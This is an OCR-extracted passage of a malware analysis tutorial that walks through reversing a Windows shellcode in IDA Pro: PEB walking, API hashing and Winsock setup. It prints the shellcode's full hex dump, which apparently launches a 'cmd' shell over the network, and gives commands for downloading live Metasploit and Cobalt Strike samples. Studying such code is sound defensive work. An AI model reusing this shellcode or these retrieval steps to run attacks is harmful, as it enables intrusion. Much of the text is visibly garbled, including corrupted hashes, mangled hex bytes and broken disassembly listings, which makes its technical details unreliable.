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0. Quote

“Because you didn't come here to make the choice, you've already made it. You're here to try to
understand why you made it. | thought you'd have figured that out by now.”
(The Oracle played by Gloria Foster | “The Matrix Reload” movie - 2003)

1. Introduction

Welcome to the nineth article of the Malware Analysis Series (MAS), where we are returning once again
to Windows binaries, but not only PE format, but this time handling shellcodes in general.

If readers have not read the first five articles yet, all of them are available on the following links:

= ERS_02: https://exploitreversing.com/2024/01/03/exploiting-reversing-er-series-article-02/
= ERS_O01: https://exploitreversing.com/2023/04/11/exploiting-reversing-er-series/

=  MAS_8: https://exploitreversing.com/2024/08/07/malware-analysis-series-mas-article-08/
=  MAS_7: https://exploitreversing.com/2023/01/05/malware-analysis-series-mas-article-7/

=  MAS_6: https://exploitreversing.com/2022/11/24/malware-analysis-series-mas-article-6/

=  MAS_5: https://exploitreversing.com/2022/09/14/malware-analysis-series-mas-article-5/

=  MAS_4: https://exploitreversing.com/2022/05/12/malware-analysis-series-mas-article-4/

=  MAS_3: https://exploitreversing.com/2022/05/05/malware-analysis-series-mas-article-3/

=  MAS_2: https://exploitreversing.com/2022/02/03/malware-analysis-series-mas-article-2/

= MAS_1: https://exploitreversing.com/2021/12/03/malware-analysis-series-mas-article-1/

Nowadays we have dozens of C2 frameworks such as Sliver, Brute Ratel, Havoc, Covenant, Empire as well
as Cobalt Strike, which is commercial software for adversary simulations and red team operations that
have been deployed in legit red team operations, but stolen copies have also been used for distinct
ransomware groups, unfortunately.

In a general way, one of the distinct aspects in analyzing shellcode binaries is that we need to understand
the problem from another perspective and, as most of the time we are used to reading and analyzing code
in formats such as PE, ELF or Mach-0O, things might seem strange at first approach. In fact, handling
shellcodes could also be harder due to the fact there is not a standard format that might help us to
understand what is going on. Additionally, there is also not a loader module and neither a processor
module associated with loading, disassembling, and managing the entire code for us. Therefore, without
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having this extra help from loaders and processor modules, everything could be summarized as a bunch of
bytes, which we should work on, and get a reasonable result and interpretation.

At end of the day, analyzing PE binaries and shellcodes are similar operations in terms of goal, but taking a
slightly different path to get there and all of them manipulate Windows structures to subvert and
compromise the system. In this article | will try to cover a few facts and basics about shellcode as well as
light reverse engineering and analysis.

2. Acknowledgments

The year is 2025. Four years ago, | started drafting articles with the sole purpose of helping the hacking and
information security community, and as | could already imagine at that time, it would be challenging to
find time to continue producing content, and indeed this side effect has been confirmed over time.

As | have been using IDA Pro for a long time, | needed a license of my own, and that was when llfak
Guilfanov (@ilfak) and Hex-Rays SA (@HexRaysSA) decided to help me, and since then they have provided
continuous and decisive support to write this Malware Analysis Series (MAS), which is focused on malware
analysis, and the Exploiting Reversing series (ERs), which is my current and long-term series on internals,
vulnerability research and, eventually, exploitation in critical topics such as Windows, kernel drivers,
macOS, browser and hypervisors.

Time flies, and companies around the world have become more demanding in terms of technical skills, but
| still believe that one of the most effective ways to help these professionals is to write articles because
such content can offer a solid method to learn details that would be a bit more difficult in live conferences
or even other media. | still face serious time constraints to write, but | keep trying to do it because, in some
way, | know that these series have been important for people's careers.

Life may be short, but every moment is worth it. Enjoy the journey and keep exploiting it!

3. Software and hardware requirements

A suggestion for lab configuration and respective tools that can be used follows:

= Virtual machine with Windows 11. You can download a virtual machine for VMware, Hyper-V,
VirtualBox on: https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/. If
you already have a valid license for Windows 11, so you can download the ISO file from:
https://www.microsoft.com/software-download/windows11

= Virtual machine running Ubuntu 24.04 LTS: https://ubuntu.com/download/desktop

= HxD: https://mh-nexus.de/en/hxd/

= Hiew: https://hiew.ru/

= DiE: https://github.com/horsicq/DIE-engine/releases

= IDA: https://hex-rays.com/ida-free and https://hex-rays.com/ida-pro
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4. Basic Information

To get recent samples of shellcode binaries readers can use the Malwoverview tool. Among a series of
possibilities and options offered by the tool, Malware Bazaar is a reliable source of free samples, which we
can retrieve a list of by executing the following command:

root@ubuntu@l:~/malware/mas/mas_09# malwoverview -b 2 -B shellcode -o 0 | grep sha256_hash
sha256_hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256_hash:
sha256 hash:
sha256_ hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256_hash:
sha256 hash:
sha256_ hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256_hash:
sha256 hash:
sha256 hash:
sha256_hash:
sha256 hash:

aB8aflofe8d566Th3f7delf27e354b70cde80286ca33ebdaat3e9e048591870ch
f7eb7b66ff7829a6312984ebb7610bbe9tT9d9dd7c5001f8151ebdbf75eb003f2cC
b507a34778a713149ab0al7ffea9c7af6dbbf13877a061de51Tbc019566608d9
933Th9b20653422017caeb7bdf95f07a907bc2956b0d3e587 feb880786c8faca
cfa®95a9035d5358al19ed7Thabald489257274c0450139e29cbhb126fTdb80c9b4db
d091722bde6abb395dd0786Teeflb427bcc60d6519e0b07591186chb314a522a3
8e62321502T67b5ad1990acce7678b2Ta7721bb98060el7de717da52898dc3cd
d890clc67dB837T1131c065b5eb5T263chbT54559dbhcdb4562c3bde3dc30d1la3205
52f78705595a735b445¢c5853e2aebel®3ccB87a0e50a983605ch01el532eTa3aff
1413c45F74679cd8cB86099FfacTedddb2687691T37efa9d9cd70c37f0b28T64a32
baa7ae2c332017307cObd6b5T49c8106e254879a36352aa8b6dbc2181d7920de
2dd4de9t90d41dc6353b9834a39a137b449326b1lc2lefdalc85b8e886a7cleae
5a8cb972512277810be2ccd20at259b47cld6bf3073eb3T3bcebbB89754e80bbe
Th958156d0a5flccee7ac?5ch2bflc8242b641lba24fae252a8e0abt45alb02d6
eclldbflca2f25d4123el87cdcd4482b802ca27cebbb68l6e74aaldadTh563bfch
eeeb5eel982c198d4deld9ffo0dTaddl974471ce3d531e2095eT09274c84b166
6c684e0T480166e3dc94ad4e@f7a948ebb61779296bd2e3222c6bal52677e66102
bc35f563cc2d3c9ff8le7f2d0fe5a04f7b4271c49clel51bb33fdd71dchBat3l
cf8837b7c9543d80657371177990a%aabcc89cc26414Tf52e585ad8742¢c52218
c9ce92d137cch575c87907dc7ae9e21lbccdl4daf@f3bd306e8984c564237edaa
27ad7f126Tfd86a2230797d15dbc989966c21e6c9613175596832535fdaf8bfd
6d5796ad4229a8980919055cecdba741e55becd35T1808e0f658a2ba745ael48
3268b9988b82a%3ac0d8dbaB830c3591el191e7b3cfcld72clfObd8e7bcdb527ab
83d6735Ta743c47252aed195763741ftb02bfcd2b084b0cdlcebf049e96bcde2l
8f10f4ed0ebb7ab8c9cd74108c39221ch86Td8433694bb97aae7fel8c2a2e59a
48ebfd91c8cd4eb7119e84d4d8b9ffd0156710663ce93aa2ebe339hee337e2a9a
9b8alfccclOc49ad44clad47e341869b1b0ebl1e37106236Fbfhbfabe3bdal33azb
8db57ced35399021c3d135b641bfd584a5dc55b8055eddffb5c3083af86T2d5a
d96el365bf70426d6Tb58c60Ta7421c7e686c94adlld358bb310d48792dbb433
e8c7f847cdadelb9e97adb65b7a2233¢c21ch713630b4d5820cle3b8T92b8ba8cc
3cele9d249f40c2ebb7a%9abc3e3453d4Th08273b2ce585¢c6938e7a05cb6cbc38d
06c38f33a72eef9e2el5b0834ac7dd%aed440740d4b38867a5256034362a9d e84
7975bab3ef8ff57a745ecle262bfecBa30adf692ce2Tf60810bbaece543179796
59bae%9%be7a2733552c1ch99e2a8al0367221bc7ce28ef8d1358eT096472e9f97C
b2TaB805a02e8c0372elc548541cad81828ae82T5ed57146e43eebclae8c95deb

[Figure 01] Listing shellcode samples from Malware Bazaar

Using the same tool, it is quite direct to search for specific payloads such as Metasploit, Cobalt Strike, Sliver
and any other one:

= malwoverview -b 2 -B metasploit -0 0 | grep sha256_hash
= malwoverview -b 2 -B cobaltstrike -0 0 | grep sha256_hash

To download any listed sample, readers can run:

= malwoverview -b 5 -B <hash>

Remember that all payloads are protected with a password: infected. Readers can unzip samples by
executing 7z -e <sample> -pinfected.
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5. Reversing

I am going to work on a couple of samples to cover techniques and, hopefully, it will be enough to
introduce necessary concepts about this kind of investigation. Eventually, analyzing shellcodes can be
tricky, but | certainly readers from my past articles will not have any problem. It would be unnecessary to
mention, but the following shellcode sample are designed to run on Windows.

5.1 Example 01

This first example is a raw shellcode, which | named it as shellcode_01.bin. Open it up on a hexadecimal
editor (HxD tool, for example) and quick view the entire file (it SHA256 is
23ad215b73830b2478c19b3dda9bef3db2a53f016efdabeb535fc94e54c91ea7):

Offset (h) 00 Ol 02 03 04 05 06 OT 08 0% OR OB OC OD OE OF Decoded text
00000000 FC EZ 82 00 €0 29 E5 31 CO &4 8B 50 30 3B &, ... %walhdcPoc
00000010 52 OC 8B 52 14 SB 72 22 OF B7 4A 26 31 FF AC 3C R.<R.cr{. -Jeli-<
00000020 €1 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 a|., AT..C&0RW<R
00000030 10 SE 4R 3C 8B 4C 11 78 E3 48 01 DL 51 5B 59 20 .¢J<<L.x3H.FQ«Y
00000040 0l D3 8B 495 18 E3 3A 49 8B 34 8B 01l D6 31 FF AC  .O¢I.&:Tc4¢.81y-
00000050 C1 CF 0D 01 C7 32 E0 75 Fé 03 7D F2 3B 7D 24 75 Af..CZ3ud.}e;}5u
00000060 E4 52 8B S8 24 0L D3 66 8B OC 4B 2B 58 1C Ol D3 &X<XS.0f« .EcX..0
00000070 8B 04 8B 01l DO 29 44 24 24 SB 5B 61 59 SA 51 FF < .<.DRDSS[[aYZQ¥
00000080 EO SF SF SA 8B 12 EB 2D 5D 68 33 32 00 00 68 77 &  Z¢.&.]h32..hw
000000%0 73 32 SF 54 68 4C 77 26 07 FF DS BS 90 01 00 00 s2 ThLws.¥0,....
0OO0000RO 25 C4 54 SO 68 25 80 6B 00 FF D5 6L 08 55 50 E2  )ATPh)€k.y0j.YPA
000000BO FD 40 50 40 50 63 EA OF DF E0 FF DS 57 &2 02 00 ¢@PEPh&.Baydh..
000000CO 27 OF 85 E6 6A 10 56 57 63 C2 DB 37 &7 FF DS 537  '.hej.VWhAO7gu0w
000000D0 €8 27 ES 3% FF FF D5 57 68 74 EC 3B E1 FF DS 57 h-&39y0Whci;astw
OODOOOEC ©7 68 75 6E 4D 61 FF DS 68 €3 6D 64 00 29 E3 57 —hunMaipOhcmd.%3W
000000FD 57 57 31 Fé 6A 12 59 56 E2 FD 66 C7 44 24 3C 01 WW1&j.YVAVECDS<.
00000100 Ol 8D 44 24 10 CE OO0 44 54 50 56 56 56 46 56 4E . .D$.E.DTPVVVEVN
00000110 56 56 53 56 68 79 CC 3F 86 FF D5 29 EO0 4E 56 46 VVSVhylztid%aNvE
00000120 FF 30 6% 0F 87 1D 60 FF DS BE FO B5 A2 56 63 A6 §0h.+. §0»8ucVh!
00000130 95 2D SD FF D5 3C 06 7C Ok 20 FB EO 75 05 BB 47  +3,§0<. | .S84u.»C
00000140 13 72 &F €L 00 53 FF DS .roj.5y0

[Figure 02] Hexadecimal representation of a raw shellcode

Readers quickly can translate the first hexadecimal (opcodes) to mnemonics (there are multiple opcode
tables available on the Internet) as shown below:

= OxFC: cld (clear direction flag, which influences whether ESI/EDI are increased or decreased in string
operations)

=  OxES8: call

= 0x82: routine’s offset to be called by the call instruction, which is the actual entry point.

Apparently, there are no useful strings, and as this shellcode has only 328 bytes, the whole file is shown
above. Open the shellcode on IDA, we have:
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W Load a new file >

Load file C:YUsers\Administrator\DesktopMAS \shelcode\shellcode_01.bin as

Binary file

Processor type (double-click to set)

Intel Pentium protected with MM 80536p
Intel Pentium real with MMY 805860
MetaPC (disassemble all opcodes) metapc
w Intel 860 processors
Trmtal 280 ¥D A
Analysis
Loading segment Ox 00000000 Kernel options
B Enabled
Loading offset Ox00000000 B Indicator enabled Processor options
Options
Loading options n Create segments Load resources
Fill segment gaps Create FLAT group Rename DLL entries
B Load as code segment Create imports segment Manual load
oK. Cancel Help

[Figure 03] Open a raw shellcode on IDA Pro
As readers can notice, there is only one single option because this shellcode is not a PE format.

¥ Please confirm X

The loaded binary file can be disassembled in 2 modes:
1. 16-bit mode

2, 32-bit mode

Do you want to disassemble it as 32-bit code?

Yes Mo

[Figure 04] Disassembly modes

There are two disassembly modes, and we must choose 32-bit and click on Yes button.

seghbd: eeeeenee ; Segment type: Pure code

seghddd: 8eeooeee segbbd segment byte public 'CODE® use32

seghfld: eeeeeeee assume cs:segddd

seghied: eeeeeeees assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
¢ segddld: geeeenoe db @FCh

seghib: geeeesel db BE8Bh, 82h, @

seghil: gegepeed dd 396c00088h, 64Ce@31ESh, SB3@588Bh, 528B@CS52h, 28723B14h

segddd: 0eeeeals dd 264AB78Fh, 3CACFF31h, 2C827C61h, @DCFC128h, BF2E2C781h

seghid: eeeeee2c dd 528B5752h, 3C4A8B1@h, 78114C8EBh, 8D18148E3h, 28598B51h

seghid : geeeeada dd 498BD381h, 493AE318h, 18B348Bh, @ACFF31Deh, 1@DCFClh

segddd: Begeees4 dd 75EB38C7h, BF87DB3F6h, 75247D3Bh, 588B58E4h, 66D38124h

seghib: geeeenes dd 8B4BEC8Bh, @D3811C58h, 18BBA8BEh, 244489DBh, 615B5B24h

seghii: eeeeae’C dd BFF515A59h, SASFSFEBh, SDEB128Eh

[Figure 05] First disassembled lines

Soon the file is opened on IDA, we see the image above. As readers have already realized, there are not
any Assembly instructions because, as the file has been analyzed as a binary file, IDA does not offer any
further interpretation, and the next decision must be made by us.
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Our first action is put the cursor on first byte on line 0x00000000, press “C” to transform it to code, and the
following code will be shown:

segbbi:
segbif:
seglid:
seghod:
segbbi:
segbif:
segbdd:
segdBa:
:geeeace?
egbea:
:BBepaee9
10000a8BA
100008006
:BeeeaesC
:geepaeeD
1 08e0a8eE
qlalelelelelels

L ¥ T ¥ o T ¥ I ¥ o I ¥ B s B ¥y )

BB08Beee ; Segment type:
80060080 segbBd

goeaooee
goeaooee
Boeaoooe
Boeaoel
goeaoeel ;
goeaooes

BaeeBoas

Pure code
segment byte public "CODE" wse32
assume cs:segbid

assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

cld
call

db 89h
db BESh
db 31h ; 1
db 8Ceh
db 64h ; d
db 8Bh
db 56h ; P
db 36h ; ©
db 8Bh

[Figure 06] First lines of real instructions

Immediately we see the first two instructions, which are exactly the same that we discovered previously by
decoding the first opcodes. We see a call sub_88, which means that the execution jumped to address 0x88.
However, there is a subtle point here, which readers must remember. When a call instruction is called, the
next instruction’s address is pushed onto the top of stack. Proceeding with our analysis, we find the

following instructions at address 0x88:

seghBe:
seghag:
seghbo:
segbie:
seghBe:
seghag:
seghbo:
segbie:
seghBe:
seghag:
seghbo:
segbie:
seghBe:
seghag:
seghbo:
segbie:
segddo:
seghag:
segbio:
segbie:
segddo:
segtfd:

BBBBBasE sub_88
slalalslala bt
Beoeeass
Beoeeass
BBBBBBasESs
Beeeeass
Beoeeas9
Be08BasE
Beeeea93
Beeesa94
Beoeea99
Beoeease
BeoaeBLl
geeeeaaA2
BeoeeeaA3
geoosaad
BaeeeaBAS
Beeee8aAB
BeeeeBaD
B8088BAE
BE00EBAE
B88888AE

var_1E8
wvar_1BC

loc_AE:

proc near

byte ptr -1E8h
word ptr -1BCh

pop ebp
push 3233h
push 5F327377h
push esp
push 726774Ch
call ebp
mow eax, 198h
sub esp, eax
push esp
push eax
push GE8829h
call ebp
push 8
pop ecx

; CODE XREF:
push eax

[Figure 07] First lines of real instructions

The analysis becomes interesting from this point onward.

sub_88+2717

; CODE XREF: segBB8:B80800801tp
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No doubt, the instructions shown in the previous image seem to be difficult to understand, but they are
not. The following considerations can help you to understand what is happening:

0x00000088: the EBP is set with a value popped from the stack, which is exactly the value pushed
by the previous call instruction and that will be taken as a routine address. We will return to this
point soon.

0x00000089: it is pushing a substring onto stack, which will be part of an argument. We can
transform its representation to string by pressing “R”.

0x0000008E: it is pushing a substring onto stack, which will be also part of an argument. We can
transform its representation to string by pressing “R”.

0x00000093: the value of ESP (the current stack address) is being pushed onto the stack, which
could be strange, but it will be used as a pointer to the argument (string, which is composed by
substrings from addresses Ox8E and 0x89) for the function specified at address 0x00000094 (next
bullet).

0x00000094: this hexadecimal is actually the first argument of the called function (call ebp, at

address 0x99). Different from the previous addresses (0x89 and Ox8E), this value does not represent
a string, but a hash. As you learned from my previous articles, there are multiple ways to manage it,

and one of them is using HashDB (read my previous articles to learn about it). Therefore:

o right-click the value and choose HashDB Hunting Algorithm.

o choose “metasploit” as the algorithm.

o right-click on the hexadecimal again and choose HashDB Lookup.

o check whether the selected module makes sense, and press Import.
0x00000095: the call ebp instruction changes the execution flow to somewhere and pushes the
address of the next instruction (0x9B) to the stack as return address.

Repeat exactly the same analysis, approach and steps for the next instructions (up to address 0xAD), and

we have the following:

seghfd: BBeBRRsEs var_1ES8
segPdd: Beeeeess anonymous 1
seghbBe: Beeeeess var 1BC
seghfd: BBERRRsEs anonymous_2

£y

byte ptr -1E8h
dword ptr -1C8h
word ptr -1BCh
dword ptr -1BBh

segPdd: Beeeeess anonymous_ @ = byte ptr -8
segbBe: bBeoeess

segbfd: BBRRBRaE3 pop ebp

segBfd: BeeRaes9 push '23°

seghbBe: BBeBResE push " 2sw’
segbBd: BBRRBR93 push esp

seghd: eeeeee9d push LoadlLibraryf @
segPd: BeeBae99 call ebp

segbBe: 6aenee9B Mo eax, 198h
segBBd: Beeeaesn sub esp, eax
segPd: Beenaen2 push esp

segbBe: 0aeoeoa3 push eax

segdfd: Beeeeesl push WSAStartup_@
segPd: Beeaaens call ebp

segbBe: 6aeoeoAB push 8

segbd: BEeBaRAD pop ecx

segBBd: BB00BBAE

[Figure 08] Improved representation of sub_88 routine
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We can clearly see that LoadLibrary function and ws2_32 (Winsock 2 DLL) are mentioned in the code.
Additionally, there is a mention of WSAStartup function, which is used for preparing and initiating the
usage of the Winsock DLL by a process. However, there are other interesting details:

= The value of 400 (0x190) is moved to EAX register and it is subtracted from ESP. This indicates a
space reservation on the stack, which is a typical action while preparing the stack to invoke a
function.

= The push instruction has the same meaning as explained for address 0x00000093, and it is a
pointer to a stack location where the output of WSAStartup will be stored.

= The same value (400) is being pushed onto the stack as argument for the WSAStartup function,
which will be used by routine called on line 0xA9 using the same EBP value from line 0x88.

= Finally, the call ebp instruction is executed.

Before proceeding, readers should import the following libraries and structures for any shellcode to be
analyzed (for userland, of course):

= View > Open subviews > Type Libraries and choose ntapi or ntapi_win7.
= View > Open subviews > Local Types > insert key > Import standard structure

o _PEB
o _IMAGE_DOS_HEADER

o _IMAGE_NT_HEADERS

o _IMAGE_FILE_HEADER (automatically imported by _IMAGE_NT_HEADERS)
o _IMAGE_OPTIONAL_HEADERS (automatically imported by IMAGE_NT_HEADERS)
o _IMAGE_DATA_DIRECTORY (automatically imported by IMAGE_NT_HEADERS)
o

_IMAGE_EXPORT_DIRECTORY

All these imported structures can be visualized on Local Types view (SHIFT + F1), as shown below:

Local Types E] IDA Vie
Mame Size Crdinal

= va_list 00000004 2

o hashdb_strings_metasploit 00000004 1

{3} IMAGE_OPTIONAL_HEADER3Z  0O00O0OED 13

{3} IMAGE_NT HEADERS32 000000FS 8

I3} IMAGE_FILE_HEADER 00000014 11

{3} IMAGE_EXPORT DIRECTORY 00000028 17

{3} IMAGE_DOS_HEADER 00000040 3

{3} IMAGE_DATA_DIRECTORY 00000008 16

= worD 00000002 4

= Lone 00000004 5

[=] IMAGE_OPTIOMAL_HEADER32Z  00O0ODOED 12

[=] IMAGE_NT_HEADERS32 000000FS 7

[=] IMAGE_NT_HEADERS 000000FS 3

[=] IMAGE_FILE_HEADER 00000014 10

[=] IMAGE_DATA_DIRECTORY 00000008 15

= oworD 00000004 g

=] ByTE 00000001 14

[Figure 09] Imported Standard Structures
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Returning to our problem, we need to pause our analysis at this point and understand what is stored in
EBP, which is holding a function pointer, and it comes from address 0x88. As there is a pop ebp at this
address then EBP comes from the top of the stack. In Figure 06, at address 0x06, we had a bunch of the
start of a sequence of bytes and if we convert them into code (press C), we have the following:

v seg@id: aaoeeaoe cld
seghdl: aopeesal call sub_88
seghBB:BBBRRRB6 ; ---------m - e
seghee : aeeaeans6 pusha
seghBd:peeeeee’ mow ebp, esp
seghidl: Beeeeea9 xor eax, eax
segBBf: 00BBEEEE mo edx, fs:[eax+36h]
seghBb: pEEABBEF mov edx, [edx+8Ch]
seghBB: ppEaRR12 mov edx, [edx+14h]

[Figure 10] Assembly at address 0x06

You can confirm that there are useful instructions there, and it is a function (there is a prologue), but
addresses are marked in red because we need to convert it to a function by pressing P. Once we have done
it, we have the first lines:

pEREREBEG ; void sub_6()

BeBERBRaG sub B proc near

BeBERBRaG

88888886 var_ 4 = dword ptr -4

BeBERBRaG

pegeRaRs Bee pusha

pegeeaa’ 828 mow ebp, esp

gegeeaas e82e xor eax, eax

B0BEERRE 626 mow edx, fs:[eax+368h]

B0BEERBF 626 mow edx, [edx+8Ch]

gepeeel12 626 mow edx, [edx+14h]

Beeeaals

BPEEOB15 loc_15: ; CODE XREF: sub_6+801j
gepeEee1s 626 mow esi, [edx+28h]

gepeEee1s 626 movzx  ecx, word ptr [edx+26h]

aeeeRALC 626 xor edi, edi

BeeeaalE

BPEOB1E loc_1E: ; CODE XREF: sub_6+241j
BeeeealE 828 lodsb

BPEOEB1F 020 cmp al, 61h ; 'a’

pegeea2l 82e jl short loc_ 25

gegeea23 828 sub al, 28h ;

BeERBE25

BeERBE25 loc 25: : CODE XREF: sub 6+1Bt1

[Figure 11] First instructions at address 0x06 onward

Now the code is a bit better (not really good enough), and it is similar to what a shellcode should be. Why
is it not correct? Because this code is 32-bit, and such code might be EBP based frame as it is typical for
such kind of code. Readers can do it by putting the cursor on the sub_6 and pressing ALT+P. In the dialog
box there is a checkbox on the right named BP based frame (if you want, but it may not be true -- take
care). Mark it and press OK. You will get the following:
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seghdd:0eeeeees ; Attributes: bp-based frame
segddd : 8eeneees

seghBd: 00000006 ; void _ cdecl sub _6()
5egddd:0eeeeees sub 6 proc near
seghBl: geegeees
5eghdd:eeeeeees var 8
seghds: eeeeeees var 4
seghdd: eeeeReeRs arg_ 20
segdBe: gee0eees

dword ptr -8
dword ptr -4
dword ptr 24h

seghBld: BeeeRea6 pusha

seghoe:eeeeeee’? mow ebp, esp

seghded: geeeeeas xor eax, eax

seghBA : BBBABOAB mow edx, fs:[eax+38h]

seghBf : 0BEBEOBF mow edx, [edx+BCh]

seglBf: BeeRRE12 mow edx, [edx+14h]

seglBl: eegeels

5egddd:eeeeeels loc_15: ; CODE XREF: sub_6+881j
segBBf : BBEBRB1S mow esi, [edx+28h]

seghBf: 0eEBEO1S movzx  ecx, word ptr [edx+26h]

5eghde:eeeeeelc xor edi, edi

segdde: eeeneelE

5eghoe: 0081t loc_1E: ; CODE XREF: sub_6+241j
segddd:0eeeeelE lodsb

seghbs: 8eeeee1F cmp al, 6lh ; "a°’

seghoe:eeeeee2l il short loc_25

seghde:eeeeees23 sub al, 28h ;

segdBo: ee0ee2s

5egddd:eeeeee2s loc_25: ; CODE XREF: sub_6+1B1j

[Figure 12] First instructions at address 0x06 onward

It is better, but it can still be improved. Indeed, the routine receives an argument, which was not
represented previously. Remember that in sub_88 routine there was multiple call ebp, and the EBP is
retrieved from the top of the stack by its first instruction on address 0x88 (pop ebp). Actually, the value of
the top of the stack was the address of sub_6 routine because the previous call instruction (on line 0x01)
has put it there. | have mentioned there is only one argument during the multiple occurrences of call ebp
instructions because it is a function pointer, and each function pointer has its respective arguments.

While analyzing a shellcode, you will notice that everything is about Windows structures, and concepts
that we have to know to be to follow ahead. The instruction pusha saves all registers onto stack and,
possibly, they will be restored later by a popa instruction.

At address 0x0B we have fs:[eax+ 30h], and fs:[0] refers to Threat Environment Block (_TEB), and in the
offset 0x30, we have a reference to the Process Environment Block (_PEB), as shown below:

00000008 struct _TEB // sizeof=8BxFE4

peoeeass {

goooooea NT TIB NtTib;

geeeee1c PVOID EnvironmentPolnter;
gpoeee2e CLIENT_ID ClientId;

ggeeea2s PVOID ActiveRpcHandle;

8080002C PVOID ThreadlocalStoragePointer;
geeeea3e PPEE ProcessEnvironmentBlock;
goeeea3d ULONG LastErrorValue;

[Figure 13] First instructions at address 0x06 onward
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As readers can notice, fs:[0] is also a pointer to TIB (Thread Information Block), but we are not interested
in tracing this path. The PEB structure provided by IDA follows below:

geep8e8s struct _PEB // sizeof=08x238

peaeEeee |

geepeces BOOLEAN InheritedfddressSpace;

geeBaeal BOOLEAN ReadImageFileExecOptions;

gegoeoa?2 BOOLEAN BeingDebugged;

goepees3 union _PEB::$98531C30369844289F048F58DA9C11Es;
goeseead HAMNDLE Mutant;

geepeces PVOID ImageBasefddress;

goeseesc PPEE_LDR DATA Ldr;

geeBaa1e struct RTL_USER_PROCESS _PARAMETERS *ProcessParameters;
geepeals PVOID SubSystemData;

goepeals PVOID ProcessHeap;

goegealc struct RTL_CRITICAL SECTION *FastPeblock;

[Figure 14] _PEB structure (truncated)

The PEB structure is much bigger, but for now it is enough for our purpose. At offset 0xC (check address
OxF in Figure 12) we have a pointer to PEB_LDR_DATA, which has the following structure:

0eeesene struct _PEB _LDR DATA // sizeof=0x38

peapeoae {

feeeee0e ULONG Length;

geoeeeed BOOLEAN Initialized;

Peeeaaa5 // padding byte

geeeanae // padding byte

goeoeoe’ [/ padding byte

00080808 PVOID SsHandle;

gegeeeec LIST_ENTREY InlLoadOrderModulelist;
peeeeal1a LIST_ENTRY InMemoryOrderModulelist;
geesel1C LIST ENTREY InInitializationOrderModulelist;
slalalsls sl PVOID EntryInProgress;

goapeo2s UCHAR ShutdownInProgress;

ee8eaa29 // padding byte

peeeea2a // padding byte

0eeeaa2B // padding byte

geoeaezC PVOID ShutdownThreadld;

pEEEER30 };
[Figure 15] PEB_LDR_DATA structure

Now an important piece of code comes into play. At the offset 0x14 (check address 0x12 in Figure 12), the
structure has the InMemoryOrderModulelList field, whose type is LIST_ENTRY structure and that
represents a doubled-linked structure, which has following organization:

Peeeaaee struct _LIST _ENTRY // sizeof=Bx8
BeEeEeEE {

goepeoee struct _LIST_ENTRY *Flink;
googeood struct _LIST_ENTRY *Blink;

00000008 };
[Figure 16] _LIST_ENTRY structure

Thus, the inMemoryOrderModulelist field holds the *Flink pointer that points to another _LIST_ENTRY.
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The _LIST_ENTRY structure provides us with an idea of structured chain where the pointer, coming from

InMemoryOrderModulelList field, moves forward and backward to another _LIST_ENTRY structure (*Flink
and Blink), which possibly makes part of another structure. In this case, as we are managing DLL modules
then the referred structure is LDR_DATA_TABLE_ENTRY, which also needs to be added in IDA by following

the same steps mentioned previously:

HB08eeee struct _LDR_DATA_TABLE_ENTRY // sizeof=0x58

poeepaee |

gepeeeee LIST_ENTRY InlLoadOrderlLinks;

g0e08608 LIST_ENTRY InMemoryOrderlLinks;

Beeeee1a LIST _ENTRY InInitializationOrderlLinks;

B8peea1s PVOID DllBase;

Be88881C PVOID EntryPoint;

gepeea2e ULONG SizeOfImage;

oepgeg24 UNICODE_STRING FullDI11lName;

geeeea2C UNICODE_STRING BaseD1lName;

gepgeas34 ULONG Flags;

20868883 USHORT LoadCount;

geeeea3A USHORT TlsIndex;

BegeeasC union _LDR_DATA TABLE ENTRY::%$19143798D@80CE6C9735A6833255DEC8;
geggeadd union _LDR_DATA TABLE_ENTRY::%69464404498E78DD6BBEALAAFS6613AD;
geeaoe4Ls PACTIVATION CONTEXT EntryPointActivationContext;

B088884C PVOID PatchInformation;

0000P05e };

[Figure 17] _LDR_DATA_TABLE_ENTRY structure

Analyzing the code on address 0x15, we have mov esi, [edx+28h], which means we should access this
offset, but observing the _LDR_DATA_TABLE_ENTRY, it does not exist. Actually, the code is accessing the

offset 0x24 + 0x4 because the structure of _UNICODE_STRING is the following:

Beepeeee struct _UNICODE_STRING // sizeof=Bx8

Bopesoee

goeeooee USHORT Length;

2888882 USHORT Maximumlength;

B2ae800! PWSTR Buffer; EF: sub_6:loc_15/r

A0RE0E0S };

[Figure 18] _UNICODE_STRING structure

The code is accessing the Buffer field from _UNICODE_STRING structure. Using the same approach, at

address 0x18 (mov esi, [edx+26h]), the code is accessing the MaximumLength of the same

_UNICODE_STRING structure.

So far, we have used the following structures:

= _TEB
= _PEB
= _LDR_DATA

_LDR_DATA_TABLE_ENTRY
_UNICODE_STRING

Therefore, now you already know structures being accessed, the only work is to add these structures using

the same procedure described previously, and apply the respective types by using T key:
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segheg : egeeoas pusha
segbee: egegeee’ mov
segdde : @peeeaa9 xor
seglBl : 00BEBRE mow
segbod: 00e0eaer mow
segboo . ooooeal2 mow
segddd : 6eee8als

seghes: eeeeeels loc_15:
segheeg: egeseals mov
seghee: egegeals movzx
segdde : 0peeea1c xor
segdip: 0eee8alE

segBBd: 0808081E loc 1E:

ebp,
eax,
edx,
edx,
edx,

esi,
ecx,
edi,

esp

eax

fs:[eax+ TEB.ProcessEnvironmentBlock] ;
[edx+ PEB.Ldr]

[edx+ PEE_LDR_DATA.InMemoryOrderModulelist.Flink]

_PEB

; CODE XREF: sub_6+881]
[edx+ LDR_DATA TABLE_ENTRY.FullDllMame.Buffer]
[edx+ LDR_DATA TABLE ENTRY.FullD1lMName.MaximumlLength]
edi

; CODE XREF: sub 6+2417

[Figure 19] Piece of code after adding necessary structures and applying respective types

The next piece of code follows:

segbbe:000e881E loc_1E:
segbbo:000e8alE lodsb
segbid: 08eeealr cmp
seghbe:gopega2l jl
seghid: eeeeea23 sub
segbbe: 00800825

segbfd: 00008825 loc_25:
5eghdid: 088eea2s ror
seghb@:00peea2s add
segffd: 0e008a2A loop
segbbe:eeea882c push
